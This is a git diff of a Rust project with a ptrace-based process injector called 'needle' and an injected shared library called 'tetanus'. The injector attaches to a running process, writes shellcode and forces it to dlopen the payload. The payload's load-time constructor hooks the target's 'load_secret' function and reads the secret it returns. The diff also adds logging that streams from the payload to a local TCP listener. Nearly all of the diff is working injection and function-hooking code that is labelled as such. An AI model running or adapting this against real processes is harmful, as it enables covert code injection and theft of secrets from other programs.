diff --git a/Cargo.toml b/Cargo.toml index e39b0f6..6f27507 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -6,7 +6,7 @@ edition = "2021" [lib] name = "tetanus" crate-type = ["cdylib"] -path = "src/lib.rs" +path = "src/tetanus/lib.rs" [[bin]] name = "needle" @@ -22,3 +22,5 @@ elf = "0.7.2" nix = "0.26.2" proc-maps = "0.3.0" libloading = "0.7.4" +tracing = "0.1.37" +tracing-subscriber = "0.3.16" diff --git a/src/lib.rs b/src/lib.rs deleted file mode 100644 index 2f144f3..0000000 --- a/src/lib.rs +++ /dev/null @@ -1,111 +0,0 @@ -use std::{error::Error, ffi::c_int, path::{Path, PathBuf}}; - -use elf::{ElfBytes, endian::AnyEndian, ParseError}; -use libloading::os::unix::{Library, Symbol}; -use proc_maps::get_process_maps; -use retour::{static_detour, Function}; - -static_detour! { - static HOOK : unsafe extern "C" fn() -> c_int; -} - -#[ctor::ctor] // our entrypoint is the library constructor, invoked by dlopen -fn constructor() { - std::thread::spawn(|| { - eprint!(" -[infected]- "); - - if let Err(e) = add_hooks() { - eprintln!("[!] Could not add hooks : {}", e); - } - }); -} - -fn add_hooks() -> Result<(), Box> { - let ptr = find_symbol("load_secret")?; - - unsafe { - HOOK.initialize(ptr, || { - let secret = HOOK.call(); - eprint!(" ( ͡° ͜ʖ ͡°) its {} ", secret); - secret - })?; - HOOK.enable()?; - } - - Ok(()) -} - -fn find_symbol(name: &str) -> Result> { - // try to find it among exported symbols - let this = Library::this(); // TODO don't reopen it every time - let sym : Result, libloading::Error> = unsafe { this.get(name.as_bytes()) }; - if let Ok(s) = sym { - return Ok(*s); - } - - // try to read it from executable's elf - if let Some(exec) = find_argv0() { - let (base, path) = map_addr_path(&exec)?; - let offset = offset_in_elf(&path, &name)?; - let addr : *const () = (base + offset) as *const (); - return Ok(unsafe { Function::from_ptr(addr) } ); - } - - Err(Box::new(not_found("could not find symbol in executable ELF, possibly stripped?"))) -} - -fn offset_in_elf(path: &Path, symbol: &str) -> Result { - let exec_data = std::fs::read(path)?; - let headers = ElfBytes::::minimal_parse(&exec_data)?; - let common = headers.find_common_data()?; - - // first try with hash table - if let Some(hash_table) = common.sysv_hash { - if let Some(dynsyms) = common.dynsyms { - if let Some(strtab) = common.dynsyms_strs { - if let Some((_id, sym)) = hash_table.find(symbol.as_bytes(), &dynsyms, &strtab)? { - return Ok(sym.st_value as usize); - } - } - } - } - - // fall back to iterating symbols table - if let Some(symtab) = common.symtab { - if let Some(strs) = common.symtab_strs { - for sym in symtab { - let name = strs.get(sym.st_name as usize)?; - if name == symbol { - return Ok(sym.st_value as usize); - } - } - } - } - - Err(not_found("idk where to search :(").into()) -} - -fn map_addr_path(name: &str) -> std::io::Result<(usize, PathBuf)> { - let proc_maps = get_process_maps(std::process::id() as i32)?; - - for map in proc_maps { - // println!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, _path_to_str(map.filename())); - if map.is_exec() { - if let Some(path) = map.filename() { - if path.ends_with(name) { - return Ok((map.start() - map.offset, map.filename().unwrap().to_path_buf())); - } - } - } - } - - Err(not_found("no process is mapped from a path ending with given name")) -} - -fn find_argv0() -> Option { // could be a relative path, just get last member - Some(std::env::args().next()?.split("/").last()?.into()) // TODO separator for windows? -} - -fn not_found(txt: &str) -> std::io::Error { - std::io::Error::new(std::io::ErrorKind::NotFound, txt) -} diff --git a/src/needle/executors.rs b/src/needle/executors.rs index 294d77e..8cbface 100644 --- a/src/needle/executors.rs +++ b/src/needle/executors.rs @@ -1,6 +1,7 @@ use nix::{unistd::Pid, Result, libc::{PROT_READ, MAP_PRIVATE, MAP_ANON, PROT_EXEC}, sys::{ptrace, wait::waitpid}}; +use tracing::{debug, info}; -use crate::{syscalls::{RemoteMMap, RemoteMUnmap}, senders::{write_buffer, read_buffer, ByteVec}, injector::RemoteOperation}; +use crate::{syscalls::{RemoteMMap, RemoteMUnmap}, senders::write_buffer, injector::RemoteOperation}; pub struct RemoteShellcode<'a> { code: &'a [u8], @@ -19,20 +20,18 @@ impl RemoteOperation for RemoteShellcode<'_> { let ptr = RemoteMMap::args( 0, self.code.len() + 1, PROT_READ | PROT_EXEC, MAP_PRIVATE | MAP_ANON, -1, 0 ).inject(pid, syscall)?; - println!("Obtained area @ 0x{:X}", ptr); + debug!("obtained area @ 0x{:X}", ptr); self.ptr = Some(ptr); let mut shellcode = self.code.to_vec(); shellcode.push(0xCC); // is this the debugger trap? write_buffer(pid, ptr as usize, shellcode.as_slice())?; - let shellcode = read_buffer(pid, ptr as usize, self.code.len() + 1)?; - println!("Copied shellcode {}", ByteVec::from(shellcode)); let mut regs = original_regs.clone(); regs.rip = ptr; ptrace::setregs(pid, regs)?; ptrace::cont(pid, None)?; waitpid(pid, None)?; let after_regs = ptrace::getregs(pid)?; - println!("Executed shellcode (RIP: 0x{:X})", after_regs.rip); + info!("executed shellcode (RIP: 0x{:X})", after_regs.rip); Ok(ptr) } diff --git a/src/needle/explorers.rs b/src/needle/explorers.rs index 8d5aca8..ca5ab26 100644 --- a/src/needle/explorers.rs +++ b/src/needle/explorers.rs @@ -14,7 +14,6 @@ pub fn step_to_syscall(pid: Pid) -> nix::Result { registers = ptrace::getregs(pid)?; addr = registers.rip as usize; instructions = ptrace::read(pid, addr as *mut c_void)?; - // println!("@ 0x{:X} [{:x}]", insn_addr, curr_instr); if instructions & 0xFFFF == 0x050F { return Ok(addr); @@ -41,7 +40,6 @@ pub fn find_libc(pid: Pid) -> std::io::Result<(usize, PathBuf)> { let proc_maps = get_process_maps(pid.as_raw())?; for map in proc_maps { - // println!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, _path_to_str(map.filename())); if map.is_exec() && _path_to_str(map.filename()).contains("libc.so") { return Ok(( map.start() - map.offset, diff --git a/src/needle/main.rs b/src/needle/main.rs index 1a37e9f..e937927 100644 --- a/src/needle/main.rs +++ b/src/needle/main.rs @@ -3,16 +3,19 @@ mod executors; mod senders; mod injector; mod explorers; +mod monitor; use std::path::PathBuf; use injector::RemoteOperation; +use monitor::monitor_payload; use nix::{Result, {sys::{ptrace, wait::waitpid}, unistd::Pid}}; use clap::Parser; use executors::RemoteShellcode; use senders::RemoteString; use explorers::step_to_syscall; +use tracing::{metadata::LevelFilter, info, error}; use crate::{explorers::{find_libc, find_dlopen}, syscalls::RemoteExit}; @@ -45,6 +48,10 @@ struct NeedleArgs { /// instead of injecting a library, execute an exit syscall with code 69 #[arg(long, default_value_t = false)] kill: bool, + + /// after injecting, keep alive listening for logs + #[arg(long, default_value_t = false)] + monitor: bool, } fn nasty_stuff(args: NeedleArgs) -> Result<()> { @@ -52,7 +59,7 @@ fn nasty_stuff(args: NeedleArgs) -> Result<()> { ptrace::attach(pid)?; waitpid(pid, None)?; - println!("Attached to process #{}", args.pid); + info!("attached to process #{}", args.pid); // continue running process step-by-step until we find a syscall let syscall = step_to_syscall(pid)?; // TODO no real need to step... @@ -60,12 +67,12 @@ fn nasty_stuff(args: NeedleArgs) -> Result<()> { if args.kill { RemoteExit::args(69).exit(pid, syscall)?; - println!("Killed process #{}", args.pid); + info!("killed process #{}", args.pid); return Ok(()); } // move path to our payload into target address space - let tetanus = RemoteString::new(args.payload + "\0") + let tetanus = RemoteString::new(args.payload.clone() + "\0") .inject(pid, syscall)?; // find dlopen address @@ -97,7 +104,6 @@ fn nasty_stuff(args: NeedleArgs) -> Result<()> { dlopen_addr = base + offset; } - println!("Attempting to invoke dlopen() @ 0x{:X}", dlopen_addr); let shellcode = [ // doesn't really spawn a shell soooooo not really shellcode? 0x55, // pusb rbp @@ -120,21 +126,33 @@ fn nasty_stuff(args: NeedleArgs) -> Result<()> { ptrace::setregs(pid, regs)?; ptrace::cont(pid, None)?; waitpid(pid, None)?; - println!("Injected dlopen() call"); + info!("invoked dlopen('{}', 1) @ 0x{:X}", args.payload, dlopen_addr); // restore original registers and detach // TODO clean allocated areas ptrace::setregs(pid, original_regs)?; ptrace::detach(pid, None)?; - println!("Released process #{}", args.pid); + info!("released process #{}", args.pid); Ok(()) } fn main() { + tracing_subscriber::fmt() + .with_max_level(LevelFilter::INFO) + .init(); + let args = NeedleArgs::parse(); + let monitor = args.monitor; + if let Err(e) = nasty_stuff(args) { - eprintln!("Error while injecting : {} ({})", e, e.desc()); + error!("error injecting shared object: {} ({})", e, e.desc()); + return; } + + if monitor { + monitor_payload(); + } + } diff --git a/src/needle/monitor.rs b/src/needle/monitor.rs new file mode 100644 index 0000000..cce3034 --- /dev/null +++ b/src/needle/monitor.rs @@ -0,0 +1,16 @@ +use std::net::TcpListener; + +use tracing::info; + +pub fn monitor_payload() { + info!("listening for logs from injected payload ..."); + if let Ok(listener) = TcpListener::bind("127.0.0.1:13337") { + if let Ok((mut stream, addr)) = listener.accept() { + info!("incoming data ({})", addr); + while let Ok(n) = std::io::copy(&mut stream, &mut std::io::stdout()) { + if n <= 0 { break; } + } + info!("connection closed ({})", addr); + } + } +} diff --git a/src/needle/senders.rs b/src/needle/senders.rs index bde52d5..e946266 100644 --- a/src/needle/senders.rs +++ b/src/needle/senders.rs @@ -1,6 +1,7 @@ use std::{ffi::c_void, fmt::Display, mem::size_of}; use nix::{Result, unistd::Pid, sys::ptrace, libc::{PROT_READ, PROT_WRITE, MAP_PRIVATE, MAP_ANON}}; +use tracing::{debug, info}; use crate::{injector::RemoteOperation, syscalls::{RemoteMMap, RemoteMUnmap}}; @@ -31,7 +32,7 @@ pub fn read_buffer(pid: Pid, addr: usize, size: usize) -> Result> { for i in (0..size).step_by(WORD_SIZE) { let data = ptrace::read(pid, (addr + i) as *mut c_void)?; - println!("read {} bytes from target : 0x{:x}", WORD_SIZE, data); + debug!("read {} bytes: 0x{:x}", WORD_SIZE, data); for j in 0..WORD_SIZE { out.push(((data >> (j * 8)) & 0xFF) as u8); } @@ -49,6 +50,7 @@ pub fn write_buffer(pid: Pid, addr: usize, payload: &[u8]) -> Result<()> { buf |= (*c as u64) << (i * 8); } unsafe { ptrace::write(pid, at as *mut c_void, buf as *mut c_void)?; } + debug!("wrote {} bytes: 0x{:x}", WORD_SIZE, buf); at += WORD_SIZE; } @@ -73,6 +75,7 @@ impl RemoteOperation for RemoteString { ).inject(pid, syscall)?; write_buffer(pid, ptr as usize, self.txt.as_bytes())?; self.ptr = Some(ptr as usize); + info!("sent '{}'", self.txt); Ok(ptr) } diff --git a/src/needle/syscalls.rs b/src/needle/syscalls.rs index 635f337..a841362 100644 --- a/src/needle/syscalls.rs +++ b/src/needle/syscalls.rs @@ -1,4 +1,5 @@ use nix::{libc::user_regs_struct, Result, sys::{ptrace, wait::waitpid}, unistd::Pid}; +use tracing::debug; use crate::{injector::RemoteOperation, senders::RemoteString}; @@ -21,10 +22,12 @@ impl RemoteOperation for T where T: RemoteSyscall { let mut regs = ptrace::getregs(pid)?; regs.rip = syscall as u64; self.registers(&mut regs); + let syscall_nr = regs.rax; ptrace::setregs(pid, regs)?; ptrace::step(pid, None)?; waitpid(pid, None)?; regs = ptrace::getregs(pid)?; + debug!(target: "remote-syscall", "executed syscall #{} -> {}", syscall_nr, regs.rax); Ok(regs.rax) } diff --git a/src/tetanus/hooks.rs b/src/tetanus/hooks.rs new file mode 100644 index 0000000..54b1a7c --- /dev/null +++ b/src/tetanus/hooks.rs @@ -0,0 +1,34 @@ +use std::ffi::c_int; + +use retour::static_detour; +use tracing::info; + +use crate::locators::find_symbol; + +static_detour! { + static HOOK : unsafe extern "C" fn() -> c_int; +} + +pub fn add_hooks() -> Result<(), Box> { + if let Some(ptr) = find_symbol("load_secret")? { + unsafe { + HOOK.initialize(ptr, cb::hook)?; + HOOK.enable()?; + } + info!("installed hook on 'load_secret'"); + } + + Ok(()) +} + +mod cb { + use tracing::info; + + use super::HOOK; + + pub fn hook() -> i32 { + let secret = unsafe { HOOK.call() }; + info!("( ͡° ͜ʖ ͡°) its {}", secret); + secret + } +} diff --git a/src/tetanus/lib.rs b/src/tetanus/lib.rs new file mode 100644 index 0000000..8229721 --- /dev/null +++ b/src/tetanus/lib.rs @@ -0,0 +1,32 @@ +pub mod locators; +pub mod hooks; +pub mod tricks; + +use std::{net::TcpStream, sync::Mutex}; + +use tracing::{info, error}; + +use crate::hooks::add_hooks; + + +#[ctor::ctor] // our entrypoint is the library constructor, invoked by dlopen +fn constructor() { + std::thread::spawn(|| { + match TcpStream::connect("127.0.0.1:13337") { + Ok(stream) => tracing_subscriber::fmt() + .with_writer(Mutex::new(stream)) + .init(), + Err(_) => {}, + } + + info!(target: "tetanus", "infected target"); + + if let Err(e) = add_hooks() { + error!(target: "tetanus", "could not add hooks : {}", e); + } + }); +} + +#[ctor::dtor] +fn destructor() {} + diff --git a/src/tetanus/locators.rs b/src/tetanus/locators.rs new file mode 100644 index 0000000..8cdf488 --- /dev/null +++ b/src/tetanus/locators.rs @@ -0,0 +1,110 @@ +use std::error::Error; + +use libloading::os::unix::{Library, Symbol}; +use retour::Function; + +use tracing::warn; + +use crate::tricks::find_argv0; + + +pub fn find_symbol(name: &str) -> Result, Box> { + // try to find it among exported symbols + let this = Library::this(); // TODO don't reopen it every time + let sym : Result, libloading::Error> = unsafe { this.get(name.as_bytes()) }; + if let Ok(s) = sym { + return Ok(Some(*s)); + } + + // try to read it from executable's elf + match find_argv0() { + None => warn!("could not find argv0 for process"), + Some(exec) => match procmaps::map_addr_path(&exec)? { + None => warn!("could not find base addr of process image"), + Some((base, path)) => match exec::offset_in_elf(&path, &name)? { + None => warn!("could not locate requested symbol in ELF"), + Some(offset) => { + let addr : *const () = (base + offset) as *const (); + return Ok(Some(unsafe { Function::from_ptr(addr) } )); + } + } + } + } + + Ok(None) +} + + +pub mod exec { + use std::path::Path; + + use elf::{ParseError, ElfBytes, endian::AnyEndian}; + use tracing::{warn, debug}; + + pub fn offset_in_elf(path: &Path, symbol: &str) -> Result, ParseError> { + let exec_data = std::fs::read(path)?; + let headers = ElfBytes::::minimal_parse(&exec_data)?; + let common = headers.find_common_data()?; + + // first try with hash table + match common.sysv_hash { + None => warn!("missing symbols hash table in ELF"), + Some(sysv_hash) => match common.dynsyms { + None => warn!("missing dynamic symbols in ELF"), + Some(dynsyms) => match common.dynsyms_strs { + None => warn!("missing string tab for dynamic symbols in ELF"), + Some(dynsyms_strs) => match sysv_hash.find(symbol.as_bytes(), &dynsyms, &dynsyms_strs)? { + None => debug!("could not find symbol {} in ELF hashmap", symbol), + Some((_id, sym)) => return Ok(Some(sym.st_value as usize)), + }, + }, + }, + } + + // fall back to iterating symbols table + match common.symtab { + None => warn!("missing symbols table in ELF"), + Some(symtab) => match common.symtab_strs { + None => warn!("missing names for symbols in ELF"), + Some(symtab_strs) => { + for sym in symtab { + let name = symtab_strs.get(sym.st_name as usize)?; + if name == symbol { + return Ok(Some(sym.st_value as usize)); + } + } + debug!("no symbol matched '{}'", symbol); + } + } + } + + Ok(None) + } +} + +pub mod procmaps { + use std::path::PathBuf; + + use proc_maps::get_process_maps; + use tracing::{debug, warn}; + + use crate::tricks::fmt_path; + + pub fn map_addr_path(name: &str) -> std::io::Result> { + let proc_maps = get_process_maps(std::process::id() as i32)?; + + for map in proc_maps { + debug!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, fmt_path(map.filename())); + if map.is_exec() { + if let Some(path) = map.filename() { + if path.ends_with(name) { + return Ok(Some((map.start() - map.offset, map.filename().unwrap().to_path_buf()))); + } + } + } + } + warn!("could not find address of '{}'", name); + + Ok(None) + } +} diff --git a/src/tetanus/tricks.rs b/src/tetanus/tricks.rs new file mode 100644 index 0000000..0b85203 --- /dev/null +++ b/src/tetanus/tricks.rs @@ -0,0 +1,15 @@ +pub fn find_argv0() -> Option { // could be a relative path, just get last member + Some(std::env::args().next()?.split("/").last()?.into()) // TODO separator for windows? +} + +pub fn fmt_path(p: Option<&std::path::Path>) -> String { + match p { + Some(path) => { + match path.to_str() { + Some(s) => s.into(), + None => "?".into(), + } + }, + None => "".into(), + } +}